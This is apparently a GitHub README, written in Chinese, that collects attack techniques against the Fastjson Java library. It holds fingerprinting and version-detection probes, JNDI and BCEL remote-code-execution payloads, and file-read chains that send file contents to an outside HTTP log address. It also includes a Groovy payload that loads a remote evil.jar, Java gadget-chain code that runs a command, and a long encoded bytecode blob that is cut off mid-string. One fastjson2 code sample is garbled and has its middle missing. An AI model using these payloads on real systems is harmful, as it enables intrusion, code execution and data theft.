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https://github.com/safe6Sec/Fastjson

Fastjson姿势技巧集合
https://github.com/safe6Sec/Fastjson

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Fastjson姿势技巧集合

Host: GitHub
URL: https://github.com/safe6Sec/Fastjson
Owner: safe6Sec
Created: 2021-07-22T08:21:19.000Z (over 3 years ago)
Default Branch: master
Last Pushed: 2023-10-20T02:50:54.000Z (about 1 year ago)
Last Synced: 2024-10-15T10:41:26.274Z (about 2 months ago)
Size: 237 KB
Stars: 1,611
Watchers: 17
Forks: 338
Open Issues: 3
Metadata Files:
- Readme: README.md

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awesome-hacking-lists - safe6Sec/Fastjson - Fastjson姿势技巧集合 (Others)

README

# Fastjson
Fastjson姿势技巧集合

## 说明
- 本项目涉及的一些姿势和payload是从之前的随手记的笔记直接粘进来的，很多找不到出处了所以来源未贴出来，望师傅们见谅。
- 高版本的很多细节还有待更新。
- 浅蓝Kcon议题内容由@su18师傅整理
- 各版本复现payload来自@kezibei师傅，我原项目基础上加了maven依赖，做了一点代码修改。

## 各版本payload复现
https://github.com/safe6Sec/ShiroAndFastJson

## 判断是否用了fastjson

### 鉴别fastjson

DNSLOG
```
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
```
```
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}
```

根据解析变化
```
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}
```
根据响应状态
```
{"@type":"whatever"}
```
### 鉴别org.json

特殊字符
```
{a:'\r'}
```
### 鉴别gson

浮点类型精度丢失
```
{a:1.111111111111111111111111111}
```
注释符
```
#\r\n{a:1}
```
### 鉴别jackson

浮点类型精度丢失
```
{a:1.111111111111111111111111111}
```
注释符
```
{a:1}/*#aaaa
```
不支持单引号作为界定符
```
{'a':'b'}
```
多余的类成员
```
{"name":"a","age":18}
```

如果目标回显详细报错信息，稍微破坏一下json结构，比如多一个{，比如简简单单把{}变成a。就可以看出来到底是不是jackson。

如果目标不回显详细报错信息，而是只有一个500或者error，那么jackson不允许存在不相关的键值，fastjson允许这个特性就可以派上用场了。

比如原json如下。
```
{"pageNumber":1,"pageSize":1}
```
加上一个不相关的键值
```
{"pageNumber":1,"pageSize":1,"test":1}
```
jackson就会报错，fastjson则不会，而是和之前一模一样。

## 版本探测

### 无报错信息探测

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

【不报错】1.2.83/1.2.24
【报错】1.2.25-1.2.80
```
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
```

【不报错】1.2.24-1.2.68
【报错】1.2.70-1.2.83
```
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
```

【不报错】1.2.24-1.2.47
【报错】1.2.48-1.2.83
```
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl"
}
}
```

【不报错】1.2.24
【报错】1.2.25-1.2.83
```
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
```

### 延迟探测

原理同ssrf漏洞。请求本机已开放端口不延时，请求不开放的端口则延时。
fastjson 1.1.15-1.2.24

```
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
```
通用payload,可用于parseObject的场景
```
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}
```
fastjson 1.2.9-1.2.47
```
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:808/badNameClass",
"autoCommit":true
}
}
```
通用payload,可用于parseObject的场景
```
{"@type":"com.alibaba.fastjson.JSONObject",{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:8088/badNameClass",
"autoCommit":true
}
}}""}

```

Fastjson 1.2.36 - 1.2.62
利用正则dos洞，进行探测。逐步加a,直到延迟为止
```
{
"regex":{
"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue":"aaaaaaaaaaaa!"
}
```
参考https://mp.weixin.qq.com/s/5mO1L5o8j_m6RYM6nO-pAA

### 异常回显

异常回显 fastjson 精确版本号
```
{
"@type": "java.lang.AutoCloseable"

```

### dns探测

主要是利用各个类被加入黑名单的方式进行判断，但此方法准确性不高。

原理重点关注MiscCodec处理时会去nwe URL，然后通过后面的map#put触发计算key的hash。学习urldns链容易理解。

fastjson <1.2.43

```java
{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
```

fastjson <1.2.48

```java
{"@type":"java.net.InetAddress","val":"dnslog"}
```

fastjson <1.2.68

```java
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
```

精确探索autoType是否开启，开启后能打更多payload
https://github.com/pen4uin/awesome-java-security/tree/main/alibaba%20fastjson
```
[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]
```

### 关键rce版本探测

1.2.24 版本，用上面的延时探测即可

1.2.47 版本

```
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "dnslog"
}
}
]
```

1.2.68版本
```
[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "dnslog"
}
}
]
```
1.2.80 版本探测如果收到了两个 dns 请求，则证明使用了 1.2.83 版本如果收到了一个 dns 请求，则证明使用了 1.2.80 版本

```
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "first.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "second.dnslog.cn"
}
}
}
]

```

## 探测环境

- org.springframework.web.bind.annotation.RequestMapping
- org.apache.catalina.startup.Tomcat
- groovy.lang.GroovyShell
- com.mysql.jdbc.Driver
- java.net.http.HttpClient

如果系统存在这个类，会返回一个类实例，如果不存在会返回 null

```json
{
"z": {
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}
{
"z": {
"@type": "java.lang.Class",
"val": "java.net.http.HttpClient"
}
}
```

通过使用 Character 将报错回显在 message 中

```json
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "com.mysql.jdbc.Driver"
}}
```

通过使用 DNSLOG 来探测依赖库

```json
{"@type":"java.net.Inet4Address",
"val":{"@type":"java.lang.String"
{"@type":"java.util.Locale",
"val":{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale",
"language":{"@type":"java.lang.String"
{1:{"@type":"java.lang.Class","val":"groovy.lang.GroovyShell"}},
"country":"gv.su18.dnslog.pw"
}}
}
```

文件写，结合 commons-io 代码（stream 里面写 68 的 payload）

```json
{"x":[{"@type":"java.lang.Exception","@type":"ognl.OgnlException",},{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}},{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":
}
}}]}
```

aspectj + ognl 任意文件读取 + DNSLOG 回显
打入白名单

```json
[{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
},
{
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"aaa"
}
}]
```
aspectj + ognl 文件读取加 DNSLOG 回显
```json
{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"},"b":
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}
```

commons-io + ognl + URLReader 单字节文件读取（回显情况观察数值）
```json
{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}},"su16":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":
{
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/su18/Downloads/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}},"su17" : {"$ref":"$.su16.node.p.stream"},"su18":{
"$ref":"$.su17.bOM.bytes"}}
```

commons-io + ognl + URLReader 单字节文件读取（报错布尔）
```json
[{"su15":{"@type":"java.lang.Exception","@type":"ognl.OgnlException",}},{"su16":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}}},
{"su17":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":
{
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/su18/Downloads/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}}},{"su18" : {"$ref":"$[2].su17.node.p.stream"}},{"su19":{
"$ref":"$[3].su18.bOM.bytes"}},{"su20":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":{ "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence": {"@type": "java.lang.String"{"$ref":"$[4].su19"},"start": 0,"end": 0}, "charsetName": "UTF-8", "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su21" : {"$ref":"$[5].su20.node.p.stream"}}]
```

commons-io + ognl + URLReader 单字节文件读取 HTTPLog 布尔回显（错误的时候有 log，正确时无 log)
```json
[{"su15":{"@type":"java.lang.Exception","@type":"ognl.OgnlException",}},{"su16":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}}},
{"su17":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":
{
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/su18/Downloads/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}}},{"su18" : {"$ref":"$[2].su17.node.p.stream"}},{"su19":{
"$ref":"$[3].su18.bOM.bytes"}},{"su22":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":{ "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":{"@type":"java.lang.String"{"@type":"java.net.URL","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":"http://120.48.129.28:8080/test?","country":{"@type":"java.lang.String"{"$ref":"98"}}}}}, "charsetName": "UTF-8", "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su23" : {"$ref":"$[5].su22.node.p.stream"}},{"su20":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":{ "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence": {"@type": "java.lang.String"{"$ref":"$[4].su19"},"start": 0,"end": 0}, "charsetName": "UTF-8", "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su21" : {"$ref":"$[7].su20.node.p.stream"}}]
```

aspectj 读文件 + Character 报错回显
```json
{
"@type":"java.lang.Character"{"c":{
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"}}
```

commons-io + ognl + URLReader + aspectj HTTP Log 回显
```json
{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}},"su16":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":{ "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":{"@type":"java.lang.String"{"@type":"java.net.URL","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":"http://x.x.x.x:8080/test?","country":{"@type":"java.lang.String"[{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"/Users/su18/Downloads/1.txt"}]}}}}, "charsetName": "UTF-8", "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}},"su17" : {"$ref":"$.su16.node.p.stream"}}
```

groovy 远程类加载

加白名单
```json
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{
}
```

远程类加载
```json
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":["http://.x.x.x:8080/evil.jar"]
},
"gcl":null,
"destDir": "/tmp"
}
```

## 利用链挖掘
https://xz.aliyun.com/t/7482
https://xz.aliyun.com/t/7789#toc-4
主要用codeql进行挖掘
```java
/**
@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph

class JNDIMethod extends Method{
JNDIMethod(){
this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
this.hasName("lookup")
}
}

class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }

override predicate isSource(DataFlow::Node source) {
exists(FieldAccess fac|
source.asExpr() = fac
)
}

override predicate isSink(DataFlow::Node sink) {
exists(MethodAccess call |
call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
)
}
}

from MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, sink.getNode()
```

## FastJson与原生反序列化

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
利用fastjson调用get、set的特性，构造出新的反序列化利用链。
```
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

```
fastjson2

```
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

```

## 各版本利用

除了考虑Fastjson版本，还得考虑JDK版本，中间件版本，第三方依赖版本。

JDK版本对于JDNI注入的限制，基于RMI利用的JDK版本<=6u141、7u131、8u121，基于LDAP利用的JDK版本<=6u211、7u201、8u191。（更高版本也有绕过）
更高版本绕过可用https://github.com/veracode-research/rogue-jndi

1. jndi
1. JdbcRowSetImpl
2. C3p0#JndiRefForwardingDataSource
3. JndiDataSourceFactory
2. bcel
1. tomcat#dbcp
2. ibatis
3. TemplatesImpl

----

### Fastjson 1.2.22-1.2.24

#### JdbcRowSetImpl

```java
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
```

#### c3p0#JndiRefForwardingDataSource

JdbcRowSetImpl无法成功可以一试

```java
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}
```

#### shiro#JndiObjectFactory

```java
{"@type":"org.apache.shiro.jndi.JndiObjectFactory", "resourceName":"rmi://127.0.0.1:9050/exploit"}
```

#### shiro#JndiRealmFactory

```java
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":"rmi://127.0.0.1:9050/exploit"}

```

#### bcel

可用于解决不出网利用。
需要注意在Java 8u251以后，bcel类被删除。

tomcat7

org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8及其以后

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

Poc

```java
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
```

exp

执行命令回显.

```java
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3327

```java

POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: ver && echo fastjson
Content-Length: 3327

{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_